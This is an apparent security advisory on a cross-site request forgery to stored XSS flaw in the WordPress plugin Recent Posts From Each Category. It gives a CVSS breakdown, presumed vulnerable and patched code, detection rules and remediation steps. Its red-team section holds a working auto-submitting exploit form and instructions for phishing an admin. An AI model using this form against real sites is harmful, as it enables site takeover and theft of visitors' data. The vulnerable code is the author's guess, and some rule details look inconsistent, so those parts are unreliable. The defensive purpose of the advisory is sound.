CVE-2025-49354

Executive Summary

CVE-2025-49354 is a Cross-Site Request Forgery (CSRF) vulnerability in the WordPress plugin Recent Posts From Each Category (slug: recent-posts-from-each-category), developed by Mindstien Technologies. The vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, specifically enabling Stored Cross-Site Scripting (XSS). By tricking an admin into clicking a crafted link, an attacker can inject malicious scripts into the plugin’s settings, which will execute for all visitors. The plugin is part of the WordPress ecosystem, and the vulnerability affects all versions from n/a through 1.4. No patch is currently available, and no public exploit code has been released.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates from the vendor. Since no patch exists, the plugin should be considered compromised and removed until a fix is provided.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N) – The attack is launched remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – The attacker does not need authentication.
• User Interaction: Required (UI:R) – The victim (admin) must click a malicious link.
• Scope: Changed (S:C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Limited modification of data possible.
• Availability Impact: Low (A:L) – Limited service disruption possible.

Threat Level: High. The combination of CSRF and Stored XSS allows an attacker to execute arbitrary JavaScript in the context of the WordPress admin panel, potentially leading to full site compromise.

Deep Dive & Mechanics

The vulnerability resides in the recent-posts-from-each-category WordPress plugin. The plugin fails to implement proper CSRF tokens on its settings page, allowing an attacker to forge requests that modify plugin options. Additionally, the plugin does not sanitize or escape user input before storing it, enabling Stored XSS.

Attack Flow:

1. An attacker crafts a malicious HTML page or link that sends a POST request to the WordPress admin-ajax.php or plugin settings endpoint.
2. The request includes payloads that modify plugin settings (e.g., category names, display options) with embedded JavaScript.
3. The attacker lures an authenticated WordPress admin to visit the crafted page (e.g., via phishing email).
4. The admin’s browser executes the forged request, updating the plugin settings with the malicious payload.
5. When any user visits a page that uses the plugin, the stored XSS payload executes, potentially stealing cookies, redirecting users, or performing other malicious actions.

Root Cause: Lack of CSRF nonce validation and insufficient input sanitization in the plugin’s admin interface.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the plugin’s main PHP file (e.g., recent-posts-from-each-category.php). The vulnerable code likely looks like:

// Vulnerable: No CSRF check and no sanitization
function save_plugin_settings() {
    update_option('rpfec_settings', $_POST['settings']);
}

A patched version would include:

// Patched: CSRF nonce check and input sanitization
function save_plugin_settings() {
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'rpfec_settings_nonce')) {
        wp_die('CSRF validation failed.');
    }
    $sanitized_settings = array_map('sanitize_text_field', $_POST['settings']);
    update_option('rpfec_settings', $sanitized_settings);
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Install WordPress 6.x with the recent-posts-from-each-category plugin version 1.4.
• Create an admin user account.

Exploitation Steps:

1. Craft a malicious HTML page that auto-submits a form to the vulnerable endpoint:

   <html>
   <body>
   <form action="http://target/wp-admin/admin-post.php?action=rpfec_save_settings" method="POST">
       <input type="hidden" name="settings[category_name]" value="<script>alert('XSS')</script>">
       <input type="submit" value="Submit">
   </form>
   <script>document.forms[0].submit();</script>
   </body>
   </html>
   

2. Host the HTML file on an attacker-controlled server.
3. Send a phishing email to the WordPress admin with a link to the malicious page.
4. Once the admin visits the page, the CSRF request executes, storing the XSS payload.
5. The XSS payload triggers when any user views a page using the plugin.

Blue Team (Defensive)

Detection:

• Monitor for unusual POST requests to /wp-admin/admin-post.php with action parameters related to the plugin.
• Look for unexpected changes in the wp_options table, specifically the rpfec_settings option.
• Use web application firewalls (WAF) to block requests containing <script> tags in plugin settings parameters.

Mitigation:

• Immediately disable and remove the plugin until a patch is available.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Enforce strict CSRF tokens on all admin actions.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/recent-posts-from-each-category/recent-posts-from-each-category.php
• Database Option: rpfec_settings containing unexpected HTML/JavaScript.
• Network: POST requests to /wp-admin/admin-post.php with action=rpfec_save_settings and suspicious parameters.
• Logs: WordPress debug log entries showing wp_verify_nonce failures (if patched) or missing nonce errors.

Detection Engineering

YARA Rule

rule Detect_CVE_2025_49354_CSRF_XSS {
    meta:
        description = "Detects malicious payloads targeting CVE-2025-49354 in WordPress plugin Recent Posts From Each Category"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-49354"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $plugin_path = "recent-posts-from-each-category"
        $settings_action = "rpfec_save_settings"
    condition:
        $plugin_path and $settings_action and $xss_payload
}

Sigma Rule

title: CVE-2025-49354 - CSRF to Stored XSS in Recent Posts From Each Category
id: 8a3f7c2e-5d1b-4a9f-8c3e-2b1d6f7a8c9e
status: experimental
description: Detects CSRF attempts targeting the vulnerable WordPress plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-post.php'
        cs-uri-query|contains: 'action=rpfec_save_settings'
    condition: selection
falsepositives:
    - Legitimate admin actions (if patched)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-49354 - CSRF to Stored XSS in Recent Posts From Each Category";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/wp-admin/admin-post.php";
    http_uri;
    content:"action=rpfec_save_settings";
    http_client_body;
    pcre:"/<script[^>]*>.*<\/script>/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-49354;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable and remove the recent-posts-from-each-category plugin from all WordPress installations.
2. Audit the wp_options table for any malicious entries in rpfec_settings and remove them.
3. Rotate all admin credentials and API keys that may have been exposed.

Long-term Fix:

• The vendor must release a patched version that implements CSRF nonce verification and input sanitization.
• Until then, consider using alternative plugins for displaying recent posts by category.

Compensating Controls:

• Implement a Web Application Firewall (WAF) with rules to block CSRF and XSS payloads.
• Enforce strict Content Security Policy (CSP) headers.
• Use WordPress security plugins that add CSRF protection to all admin actions.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert